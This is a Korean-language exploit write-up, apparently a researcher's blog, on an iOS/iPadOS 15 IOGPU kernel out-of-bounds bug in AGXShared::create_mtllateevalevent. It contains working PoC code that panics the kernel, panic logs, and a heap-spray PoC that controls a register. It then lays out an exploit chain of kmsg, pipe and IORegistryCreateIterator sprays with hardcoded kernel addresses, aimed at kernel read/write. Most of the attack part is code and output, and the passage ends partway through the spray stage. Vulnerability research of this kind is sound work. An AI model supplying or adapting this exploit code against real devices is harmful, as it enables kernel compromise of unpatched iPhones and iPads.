버그 알아보기
해당 버그는 iOS/iPadOS 15.0부터 트리거 가능하며, 내가 갖고 있는 기기들중에 A9칩이 탑재된 아이폰6s에서는 버그 트리거가 불가능했다.
하지만 A10칩이 탑재된 아이패드 7세대에서는 버그 트리거 가능했으며, @potmdhex 보안 연구원께서 공개한HexaCon 2022 슬라이드 정보를 토대로 익스플로잇할 수 있게끔 만들어보았다.

슬라이드 자료에 따르면, 해당 버그는 IOGPU 드라이버 중 AGXShared::create_mtllateevalevent에서 Out-Of-Bounds에 의해 맵핑되지 않은 커널 공간에 접근하는데에서 문제가 발생한다.
직접 POC 코드를 한번 돌려보자.
- poc.c
#include "iokit.h"
#include "piper.h"
#include "port_utils.h"
#include "spray.h"
io_connect_t IOGPU_init(void)
{
mach_port_t mp = MACH_PORT_NULL;
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
uint64_t Output[2] = {0};
uint64_t OutputCount = 2;
kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);
if (kr)
return 0;
return 1;
}
int main(int argc, char *argv[], char *envp[]) {
io_connect_t uc = IOGPU_init();
printf("uc = 0x%x\n", uc);
for(int i = 0; i < 2049; i++) {
IOGPU_create_mtllateeventevent(uc);
}
return 0;
}
그러면 아래와 같이 패닉이 발생한다.
PC값을 확인해봤을떄, __ZN9AGXShared23create_mtllateevaleventEPy+0xC8 지점에서 크래시가 발생하였다.
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
panic(cpu 1 caller 0xfffffff01b7d6a8c): Kernel data abort. at pc 0xfffffff019d8d088, lr 0xfffffff019d8d038 (saved state: 0xffffffeb06a0b530)
x0: 0x0000000000000001 x1: 0x00000000000001fc x2: 0x00000000ffffffff x3: 0xffffffe0001f4810
x4: 0xffffffe3794b94c0 x5: 0xfffffff019d2a598 x6: 0xffffffe3793500e0 x7: 0x0000000000000000
x8: 0xffffffe379239d40 x9: 0x00000000001fffff x10: 0x0000000000000008 x11: 0x0000000000000800
x12: 0xffffffe379239d50 x13: 0xffffffffffffffff x14: 0x0000000000000000 x15: 0x00000000ffffffff
x16: 0x0000000000000001 x17: 0x0000000000000800 x18: 0xfffffff01b145000 x19: 0xffffffe0f2b1ac00
x20: 0xffffffeb06a0bb20 x21: 0xffffffe0f2fac800 x22: 0xffffffe0f3535800 x23: 0x00000000ffffffff
x24: 0x0000000000000000 x25: 0x0000000000003ff8 x26: 0x00000000ffffffff x27: 0x0000000000fffff8
x28: 0xffffffe0f702728c fp: 0xffffffeb06a0b8d0 lr: 0xfffffff019d8d038 sp: 0xffffffeb06a0b880
pc: 0xfffffff019d8d088 cpsr: 0x60400204 esr: 0x96000007 far: 0xffffffe37a239d38
//pc 0xfffffff019d8d088 __ZN9AGXShared23create_mtllateevaleventEPy+0xC8
//lr 0xfffffff019d8d038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78
Debugger message: panic
Memory ID: 0xff
OS release type: User
OS version: 19A346
Kernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID: 57691C393F521C02E8239112CC78465D
Kernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot version: pongoOS-2.6.3-7973456c
secure boot?: YES
Paniclog version: 13
Kernel slide: 0x0000000013fc8000
Kernel text base: 0xfffffff01afcc000
mach_absolute_time: 0x10bb54bb4
Epoch Time: sec usec
Boot : 0x69790352 0x000e4844
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x697903ef 0x000a159a
CORE 0: PC=0xfffffff01b1ad8f8, LR=0xfffffff01b1ad8f8, FP=0xffffffeb12a33ef0 //processor_idle+0x124
CORE 1 is the one that panicked. Check the full backtrace for details.
Panicked task 0xffffffe0f342e108: 210 pages, 1 threads: pid 300: poc
Panicked thread: 0xffffffe0f74fb140, backtrace: 0xffffffeb06a0acf0, tid: 3945
lr: 0xfffffff01b1802d8 fp: 0xffffffeb06a0ad30 //debugger_collect_diagnostics+0x184
lr: 0xfffffff01b180068 fp: 0xffffffeb06a0ada0 //handle_debugger_trap+0x278
lr: 0xfffffff01b2a16ec fp: 0xffffffeb06a0ae20 //handle_uncategorized+0x100
lr: 0xfffffff01b2a0874 fp: 0xffffffeb06a0aed0 //sleh_synchronous+0x148
lr: 0xfffffff01b1455fc fp: 0xffffffeb06a0aee0 //fleh_synchronous+0x28
lr: 0xfffffff01b17fd80 fp: 0xffffffeb06a0b270 //panic_trap_to_debugger+0x250
lr: 0xfffffff01b17fd80 fp: 0xffffffeb06a0b2d0 //panic_trap_to_debugger+0x250
lr: 0xfffffff01b7cfc98 fp: 0xffffffeb06a0b2f0 //panic+0x30
lr: 0xfffffff01b7d6a8c fp: 0xffffffeb06a0b460 //panic_with_thread_kernel_state+0x108
lr: 0xfffffff01b2a10fc fp: 0xffffffeb06a0b510 //sleh_synchronous+0x9d4
lr: 0xfffffff01b1455fc fp: 0xffffffeb06a0b520 //fleh_synchronous+0x28
lr: 0xfffffff019d8d038 fp: 0xffffffeb06a0b8d0 //__ZN9AGXShared23create_mtllateevaleventEPy+0x78
lr: 0xfffffff01b762bb0 fp: 0xffffffeb06a0b930 //__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0
lr: 0xfffffff01b76b4c4 fp: 0xffffffeb06a0bad0 //is_io_connect_method+0x2FC
lr: 0xfffffff01b270898 fp: 0xffffffeb06a0bbf0 //__Xio_connect_method+0x190
lr: 0xfffffff01b18503c fp: 0xffffffeb06a0bc80 //ipc_kobject_server+0x344
lr: 0xfffffff01b15fb64 fp: 0xffffffeb06a0bcf0 //ipc_kmsg_send+0x17C
lr: 0xfffffff01b174dec fp: 0xffffffeb06a0bd80 //mach_msg_overwrite_trap+0xEC
lr: 0xfffffff01b29712c fp: 0xffffffeb06a0be60 //mach_syscall+0x19C
lr: 0xfffffff01b2a0d44 fp: 0xffffffeb06a0bf10 //sleh_synchronous+0x618
lr: 0xfffffff01b1455fc fp: 0xffffffeb06a0bf20 //fleh_synchronous+0x28
** Stackshot Succeeded ** Bytes Traced 143125 (Uncompressed 371728) **
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
Please go to https://panic.apple.com to report this panic
x8 값에서 x27값을 더한 주소의 메모리 주소를 참고하려는데, 아직 맵핑되지 않은 공간이어서 패닉이 발생하는거였다. 따라서 “Kernel data abort” 패닉이 발생한다.
여기서 알 수 있는 사실은 0xffffffe3XXXXXXXX 주소를 참고하려고 했다는 것이다. 이는 할당된 커널 주소(=x8)로부터 0xfffff8(=x27 값)을 더해 떨어진 주소에 접근하려고 했다는 것을 의미한다.
커널 힙 스프레이를 충분히 여러번한다면 패닉없이 제어 가능할 것이다.

슬라이드 추가정보에 따르면 초기 할당된 커널 주소는 IOMalloc_external 호출에 의해 default/kext.kalloc.576 존으로부터 할당받았다는 것이다.

실제로 xnuspy를 통해 커널을 후킹해서 확인해보면, 내부적으로 AGXFirmwareResourceStack::replaceStorageArrays에서 커널 메모리를 할당한다. IOMalloc_external 호출을 통해 528(=0x210)크기만큼 할당받는데, default.kalloc.576 존으로부터 할당받는다.
- kernhook 소스코드 및 실행 결과
...
[ 115.012000]: [kernhook] create_mtllateevalevent caller: 0xfffffff00779abb0
[ 115.012007]: [kernhook] create_mtllateevalevent kret = 0x0, AGXShared = 0xffffffe0f38e9600, a2 = 0xffffffeb06afbb20, caller = 0xfffffff00779abb0
[ 115.012066]: [kernhook] IOMalloc_external caller: 0xfffffff005da5440
[ 115.012073]: [kernhook] IOMalloc_external kret = 0xffffffe378d7f180, sz = 0x210
[ 115.012079]: [kernhook] replaceStorageArrays kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, a2 = 0x2, caller = 0xfffffff005da4790
[ 115.012083]: [kernhook] growResourceStack caller: 0xfffffff005dc5038
[ 115.012090]: [kernhook] growResourceStack kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, caller = 0xfffffff005dc5038
[ 115.012098]: [kernhook] panic_trap_to_debugger called due to panic, spinning here for a little bit...
- 함수 호출 추적
__ZN9AGXShared23create_mtllateevaleventEPy
→ __ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE17growResourceStackEv
→ __ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE20replaceStorageArraysEj
→ j__IOMalloc_external_18

AGXFirmwareResourceStack::replaceStorageArrays에서 IOMalloc_external에 의해 할당받은 주소는 위 내용을 보다시피 0xffffffe378d7f180이었다.
그리고 poc를 실행시켜 패닉 로그를 다시 살펴보면, 실제로 할당받은 주소가 x8 레지스터 값과 동일하다. 이전에 말했다시피, 여기서 맵핑되지 않은 x8+0xfffff8 주소에 접근하려다보니 패닉이 발생한다.
panic(cpu 1 caller 0xfffffff0107a6a8c)
Kernel data abort. at pc 0xfffffff00ed5d088, lr 0xfffffff00ed5d038 (saved state: 0xffffffeb06afb4c0)
x0: 0x0000000000000001 x1: 0xffffffeb06afb300 x2: 0x0000000000000000 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x00ffffff0000ffff x6: 0xfffffff005dc5038 x7: 0x0000000000000000
x8: 0xffffffe378d7f180 x9: 0x00000000001fffff x10: 0x0000000000000008 x11: 0xffffffeb05160000
x12: 0x00000000000000ff x13: 0x000000000000007f x14: 0x0000000000000001 x15: 0xed07932700000000
x16: 0x000000000000003c x17: 0x0000000100000040 x18: 0xfffffff010115000 x19: 0xffffffe0f33cd440
x20: 0xffffffeb06afbb20 x21: 0xffffffe0f38e9600 x22: 0xffffffe0f368f000 x23: 0x00000000ffffffff
x24: 0x0000000000000000 x25: 0x0000000000003ff8 x26: 0x00000000ffffffff x27: 0x0000000000fffff8
x28: 0xffffffe0f3eecf8c fp: 0xffffffeb06afb860 lr: 0xfffffff00ed5d038 sp: 0xffffffeb06afb810
pc: 0xfffffff00ed5d088 cpsr: 0x60400204 esr: 0x96000007 far: 0xffffffe379d7f178
Debugger Message: panic
Memory ID: 0xff
OS Release Type: User
OS Version: 19A346
Kernel Version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID: 57691C393F521C02E8239112CC78465D
Kernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot Version: pongoOS-2.6.3-7973456c
Secure Boot: true
Paniclog Version: 13
Kernel Slide: 0x8f98000
Kernel Text Base: 0xfffffff00ff9c000
Mach Absolute Time: 0xa7b3d955
그렇다면, data.kalloc.16384 존으로 여러번 할당받아 데이터를 제어할 수 있는 파이프를 만들어보는건 어떨까?
아래 poc2.c 코드는 980개의 파이프를 생성시킨다음, 각 파이프마다 0x4000크기만큼 커널 할당받되 모두 0x4142434445464748로 채운 데이터들로 스프레이하고 취약점을 트리거시킨다.
- poc2.c
#include "iokit.h"
#include "piper.h"
#include "port_utils.h"
#include "spray.h"
io_connect_t IOGPU_init(void)
{
mach_port_t mp = MACH_PORT_NULL;
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
uint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)
{
uint64_t Output[2] = {0};
uint64_t OutputCount = 2;
kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);
if (kr)
return 0;
return 1;
}
int main(int argc, char *argv[], char *envp[]) {
// prepare spray stuffs
increase_file_limit();
size_t pipe_count = 980;
size_t pipe_buffer_size = 0x4000;
uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);
int *pipefds = create_pipes(&pipe_count);
uint64_t val = 0x4142434445464748;
memset_pattern8(pipe_buffer, &val, pipe_buffer_size);
pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);
//trigger bug
io_connect_t uc = IOGPU_init();
printf("uc = 0x%x\n", uc);
for(int i = 0; i < 2049; i++) {
IOGPU_create_mtllateeventevent(uc);
}
return 0;
}
그러면 더이상 맵핑되지 않은 커널 주소에 접근하여 패닉이 발생하는 문제는 없어진다!
바로 그다음 명령어에서 패닉이 발생하지만, x8 레지스터를 성공적으로 제어시켰다.
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
panic(cpu 0 caller 0xfffffff026e8aa8c): Kernel data abort. at pc 0xfffffff02544108c, lr 0xfffffff025441038 (saved state: 0xffffffeb06afb530)
x0: 0x0000000000000001 x1: 0x00000000000001fc x2: 0x00000000ffffffff x3: 0xffffffe000340810
x4: 0xffffffe3796eddc0 x5: 0xfffffff0253de598 x6: 0xffffffe379630ae0 x7: 0x0000000000000000
x8: 0x4142434445464748 x9: 0x00000000001fffff x10: 0x0000000000000008 x11: 0x0000000000000800
x12: 0xffffffe379691f90 x13: 0xffffffffffffffff x14: 0x0000000000000000 x15: 0x00000000ffffffff
x16: 0x0000000000000001 x17: 0x0000000000000800 x18: 0xfffffff0267f9000 x19: 0xffffffe0f805f960
x20: 0xffffffeb06afbb20 x21: 0xffffffe0f3079400 x22: 0xffffffe0f2eff000 x23: 0x00000000ffffffff
x24: 0x0000000000000000 x25: 0x0000000000003ff8 x26: 0x00000000ffffffff x27: 0x0000000000fffff8
x28: 0xffffffe0f643ce8c fp: 0xffffffeb06afb8d0 lr: 0xfffffff025441038 sp: 0xffffffeb06afb880
pc: 0xfffffff02544108c cpsr: 0x60400204 esr: 0x96000004 far: 0x4142434445464758
//pc 0xfffffff02544108c __ZN9AGXShared23create_mtllateevaleventEPy+0xCC
//lr 0xfffffff025441038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78
Debugger message: panic
Memory ID: 0xff
OS release type: User
OS version: 19A346
Kernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1/RELEASE_ARM64_T8010
KernelCache UUID: 57691C393F521C02E8239112CC78465D
Kernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919
iBoot version: pongoOS-2.6.3-7973456c
secure boot?: YES
Paniclog version: 13
Kernel slide: 0x000000001f67c000
Kernel text base: 0xfffffff026680000
mach_absolute_time: 0x6e750cbc
Epoch Time: sec usec
Boot : 0x6979099c 0x000b9e82
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x697909cb 0x00018499
CORE 0 is the one that panicked. Check the full backtrace for details.
CORE 1: PC=0xfffffff025c7b464, LR=0xfffffff025c7b440, FP=0xffffffeb12073270 //PC=_make_dirent_iterator+0x1EC; LR=_make_dirent_iterator+0x1C8;
Panicked task 0xffffffe0f7b61a90: 210 pages, 1 threads: pid 280: poc
Panicked thread: 0xffffffe0f7b264f0, backtrace: 0xffffffeb06afacf0, tid: 3226
lr: 0xfffffff0268342d8 fp: 0xffffffeb06afad30 //debugger_collect_diagnostics+0x184
lr: 0xfffffff026834068 fp: 0xffffffeb06afada0 //handle_debugger_trap+0x278
lr: 0xfffffff0269556ec fp: 0xffffffeb06afae20 //handle_uncategorized+0x100
lr: 0xfffffff026954874 fp: 0xffffffeb06afaed0 //sleh_synchronous+0x148
lr: 0xfffffff0267f95fc fp: 0xffffffeb06afaee0 //fleh_synchronous+0x28
lr: 0xfffffff026833d80 fp: 0xffffffeb06afb270 //panic_trap_to_debugger+0x250
lr: 0xfffffff026833d80 fp: 0xffffffeb06afb2d0 //panic_trap_to_debugger+0x250
lr: 0xfffffff026e83c98 fp: 0xffffffeb06afb2f0 //panic+0x30
lr: 0xfffffff026e8aa8c fp: 0xffffffeb06afb460 //panic_with_thread_kernel_state+0x108
lr: 0xfffffff0269550fc fp: 0xffffffeb06afb510 //sleh_synchronous+0x9d4
lr: 0xfffffff0267f95fc fp: 0xffffffeb06afb520 //fleh_synchronous+0x28
lr: 0xfffffff025441038 fp: 0xffffffeb06afb8d0 //__ZN9AGXShared23create_mtllateevaleventEPy+0x78
lr: 0xfffffff026e16bb0 fp: 0xffffffeb06afb930 //__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0
lr: 0xfffffff026e1f4c4 fp: 0xffffffeb06afbad0 //is_io_connect_method+0x2FC
lr: 0xfffffff026924898 fp: 0xffffffeb06afbbf0 //__Xio_connect_method+0x190
lr: 0xfffffff02683903c fp: 0xffffffeb06afbc80 //ipc_kobject_server+0x344
lr: 0xfffffff026813b64 fp: 0xffffffeb06afbcf0 //ipc_kmsg_send+0x17C
lr: 0xfffffff026828dec fp: 0xffffffeb06afbd80 //mach_msg_overwrite_trap+0xEC
lr: 0xfffffff02694b12c fp: 0xffffffeb06afbe60 //mach_syscall+0x19C
lr: 0xfffffff026954d44 fp: 0xffffffeb06afbf10 //sleh_synchronous+0x618
lr: 0xfffffff0267f95fc fp: 0xffffffeb06afbf20 //fleh_synchronous+0x28
** Stackshot Succeeded ** Bytes Traced 209775 (Uncompressed 538320) **
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> AppleEmbeddedNVMeController
IOPlatformPanicAction -> AppleARMWatchdogTimer
IOPlatformPanicAction -> AppleNubSynopsysOTG3Device
IOPlatformPanicAction -> AppleT8010MemCacheController
IOPlatformPanicAction -> RTBuddy
IOPlatformPanicAction -> RTBuddy
Please go to https://panic.apple.com to report this panic
패닉이 아래 그림과 같이 발생하지만, v18을 충분히 제어할 수 있다.
제어하는데 성공한다면, 2가지의 이점을 가진다.
79줄: ((void (__fastcall **)(__int64))((_QWORD *)v18 + 0x20LL))(v18);
82줄: (_QWORD )(v6 + 0xC0) = ((__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(v19 + 0x10) + 0x90LL))((_QWORD *)(v19 + 0x10))
- KASLR leak이 가능하다는 점에 한해서, 임의 커널 함수 호출이 가능할 것이다.
81줄: ++*(_DWORD *)v19;
- 특정 커널 주소에 1씩 증가시키는 프리미티브를 획득할 수 있다.

슬라이드 정보에 따르면, kmsg의 descriptor count를 1 증가시켜서 default.kalloc.16384 존으로부터 할당받은 OOL 포트 디스크립터에 대한 커널 할당을 임의로 해제시켜서 익스플로잇하는 방법을 안내한다.

그리고 KASLR leak이 불가능하다는 전제하에서 임의커널 함수 호출을 했을때, 패닉이 발생하지 않게 생존하는 방법을 설명해주셨다.
arm64 기기의 경우 IORegistryCreateIterator 호출을 여러번하여, vtable이 있는 C++ 할당 객체를 여러번 스프레이시키는 것이다.

덕분에, 위 2가지의 아이디어를 통해 커널 읽기/쓰기까지 달성할 수 있는 영감을 떠오르게끔 만들어주었다.
익스플로잇 방법
이전에 내용을 다뤘던 “[실습] CVE-2021-30937(multicast_bytecopy) 이해하기 (macOS 12.0.1/iOS 15)” 글에서 익스플로잇 테크닉 기술을 가져왔기 때문에, 해당 내용에 대해서는 생략할 것이다. 대신 바로 참고할 수 있도록 링크를 걸어두겠다.
1. IOGPU_get_command_queue_extra_refills_needed
int exploit(void) {
// different by device, retrieve it first and fail if unsuccessful
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
if (extra_frees_for_device == -1)
{
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
return 1;
}
...
}
int IOGPU_get_command_queue_extra_refills_needed(void)
{
struct utsname u;
uname(&u);
// iPhone 6S
// iPhone 7
// iPhone 11
// iPhone 12
// iPhone 13
// iPad 7th gen
if (
strstr(u.machine, "iPhone8,")
|| strstr(u.machine, "iPhone9,")
|| strstr(u.machine, "iPhone12,")
|| strstr(u.machine, "iPhone13,")
|| strstr(u.machine, "iPhone14,")
|| strstr(u.machine, "iPad7,")
)
{
return 1;
}
// iPhone 8, X
// iPhone XS, XR
else if (
strstr(u.machine, "iPhone10,")
|| strstr(u.machine, "iPhone11,")
)
{
return 3;
}
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
return -1;
}
2. kmsg, 파이프, IORegistryCreateIterator 스프레이 준비
나중에 더 자세히 설명할 예정이지만, 커널 메모리를 임의로 해제할 여러 포트 배열들을 저장할 공간, IORegistryCreateIterator 호출에 의해 채워질 포트 공간, 그리고 파이프 버퍼 공간 – 이렇게 3가지를 미리 준비한다. 또, 파이프 스프레이를 위해 현재 프로세스의 파일 디스크립터 제한을 10240으로 증가시킨다.
스프레이하면서 앞으로 차지하게될 커널의 할당크기에 대해 알아보자면,
kmsg의 경우, default.kalloc.16384와 data.kalloc.16384 존으로부터 0x1800(=PORTS_COUNT)번만큼 할당받으므로 각각 약 100M(16384 * 0x1800 = 100663296)씩 커널 메모리를 차지하게 될 것이다.
IORegistryCreateIterator 스프레이의 경우, IOUserIterator 객체를 위해 0x20크기만큼 차지하면서, 또 내부적으로는 IORegistryIterator 객체를 생성하는데 0x50크기만큼 차지한다. 단순히 vftable 포인터값이 있는 IORegistryIterator 객체만 살펴본다면, 0x1c000번만큼 스프레이하기 때문에 약 9M(0x50 * 0x1c000 = 9175040) 정도 차지하게 될 것이다.
마지막으로, 총 980번 파이프를 생성하고 (0x4000-1)크기만큼 write시키므로, data.kalloc.16384존으로부터 980번 만큼 할당받는다. 따라서 16M(16384 * 980 = 16056320)만큼 차지하게 될 것이다.
mach_port_t *it = NULL;
mach_port_t notif_port = MACH_PORT_NULL;
mach_port_t *kheap_default_ports = NULL;
mach_port_t *kheap_data_ports = NULL;
uint8_t *IOSurfaceClient_array_buf = NULL;
int kheap_data_idx = -1;
int extra_frees_for_device = -1;
io_connect_t iogpu_connect = MACH_PORT_NULL;
#define PORTS_COUNT 0x1800
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
int exploit(void) {
...
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *ool_ports = malloc(0x4000);
uint8_t *kheap_data_spray_buf = malloc(0x4000);
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(ool_ports, 0, 0x4000);
memset(kheap_data_spray_buf, 0, 0x4000);
increase_file_limit();
// iterator stuffs
int it_count = 0x1c000; //TODO.. about 8 MB+ spray
it = malloc(it_count * sizeof(mach_port_t));
// spray stuffs
size_t pipe_count = 980;
size_t pipe_buffer_size = 0x4000;
uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);
void* recv_buf = malloc(pipe_buffer_size);
...
}
void increase_file_limit() {
struct rlimit rl = {};
getrlimit(RLIMIT_NOFILE, &rl);
rl.rlim_cur = 10240;
rl.rlim_max = rl.rlim_cur;
setrlimit(RLIMIT_NOFILE, &rl);
}
3. 스프레이
3-1. 파이프 스프레이
취약점을 트리거했을때, __ZN9AGXShared23create_mtllateevaleventEPy+0xC8 지점에서 맵핑되지 않은 x8+0xfffff8 주소에 접근하는 것에 대해 패닉이 발생하지 않기 위해서 아래 코드와 같이 파이프 스프레이시킨다.
파이프 버퍼 내용은 x8 레지스터 값을 컨트롤하는데 있어서 중요한데, 여러 kheap_data_ports 들중에 어느 포트가 영향을 미치는지 확인하기 위해 ikm_header+0x50 지점을 가리키도록 만들었다.
지금은 아니지만 나중에 kmsg를 스프레이할때, spray_data_kalloc_kmsg_single를 여러번 호출시킴으로써 data.kalloc.16384존으로부터 여러번 할당받게될 것이다.
프로파일링해서 높은 확률로 해당 할당지점을 가리키도록 KHEAP_DATA_MAPPABLE_LOC 값을 구한다음, 거기서+0x50을 가리키게 만들면 된다.
#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe37da60000 //ikm_header
int exploit(void) {
...
// STEP 1: spray pipe
int *pipefds = create_pipes(&pipe_count);
uint64_t x8 = (KHEAP_DATA_MAPPABLE_LOC+0x50); // x8 will be Pointed here. //com.apple.AGXG9P:__text:FFFFFFF005DC508C LDR X0, [X8,#0x10]
memset_pattern8(pipe_buffer, &x8, pipe_buffer_size);
pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);
...
}
int *
create_pipes(size_t *pipe_count) {
// Allocate our initial array.
size_t capacity = *pipe_count;
int *pipefds = calloc(2 * capacity, sizeof(int));
assert(pipefds != NULL);
// Create as many pipes as we can.
size_t count = 0;
for (; count < capacity; count++) {
// First create our pipe fds.
int fds[2] = { -1, -1 };
int error = pipe(fds);
// Unfortunately pipe() seems to return success with invalid fds once we've
// exhausted the file limit. Check for this.
if (error != 0 || fds[0] < 0 || fds[1] < 0) {
pipe_close(fds);
break;
}
// Mark the write-end as nonblocking.
//set_nonblock(fds[1]);
// Store the fds.
pipefds[2 * count + 0] = fds[0];
pipefds[2 * count + 1] = fds[1];
}
assert(count == capacity && "can't alloc enough pipe fds");
// Truncate the array to the smaller size.
int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
assert(new_pipefds != NULL);
// Return the count and the array.
*pipe_count = count;
return new_pipefds;
}
size_t
pipe_spray(const int *pipefds, size_t pipe_count,
void *pipe_buffer, size_t pipe_buffer_size,
void (^update)(uint32_t pipe_index, void *data, size_t size)) {
assert(pipe_count <= 0xffffff);
size_t write_size = pipe_buffer_size - 1;
size_t pipes_filled = 0;
for (size_t i = 0; i < pipe_count; i++) {
// printf("writing now = 0x%x\n", i);
// Update the buffer.
if (update != NULL) {
update((uint32_t)i, pipe_buffer, pipe_buffer_size);
}
int wfd = pipefds[2 * i + 1];
int rfd = pipefds[2 * i];
set_nonblock(wfd);
set_nonblock(rfd);
// Fill the write-end of the pipe with the buffer. Leave off the last byte.
ssize_t written = write(wfd, pipe_buffer, write_size);
// printf("written = 0x%x\n", written);
if (written != write_size) {
// printf("written = 0x%x, write_size = 0x%x\n", written, write_size);
// This is most likely because we've run out of pipe buffer memory. None of
// the subsequent writes will work either.
break;
}
pipes_filled++;
}
return pipes_filled;
}
파이프 스프레이하고 취약점 트리거할시, x8이 가리키는 곳은 아래 그림과 같을 것이다.

3-2. IORegistryCreateIterator 스프레이
취약점을 트리거하는데 앞서 AGXShared::create_mtllateevalevent에서 79줄과 82줄 코드에 의해 패닉이 발생하지 않고 무사히 커널함수 호출후 돌아가도록 생존하기 위해서 스프레이가 필요하다.

아래 코드를 통해 IORegistryIterator 오브젝트를 0x1c000 횟수만큼 충분히 스프레이한다.
uint64_t CPP_OBJ_PTR=0xffffffe0f98d8000; //about 50%+ chance
int exploit(void) {
...
// STEP 2: spray IORegistry_create_iterator
//VTAB. FFFFFFF00714D988
for(int i = 0; i < it_count; i++) {
it[i] = IORegistry_create_iterator();
}
#if ALWAYS_SURVIVE
CPP_OBJ_PTR = tfp0_kread64(port_to_kobject(it[it_count-1000]) + 0x10);
printf("cpp_obj_ptr = 0x%llx\n", CPP_OBJ_PTR);
#endif
...
}
mach_port_t IORegistry_create_iterator(void) {
kern_return_t kr;
io_iterator_t ite;
kr = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &ite);
if (kr) {
*(int *)1 = 0;
}
return ite;
}
그러면 스프레이했을때, 아래 그림과 같은 구조로 되어있을 것이다.
AGXShared::create_mtllateevalevent에서 79줄 코드에 의해 OSObject::retain(__ZNK8OSObject6retainEv)이 호출될 것이고, 82줄 코드에 의해 IORegistryIterator::getNextObjectFlat(__ZN18IORegistryIterator17getNextObjectFlatEv)이 호출될 것이다.
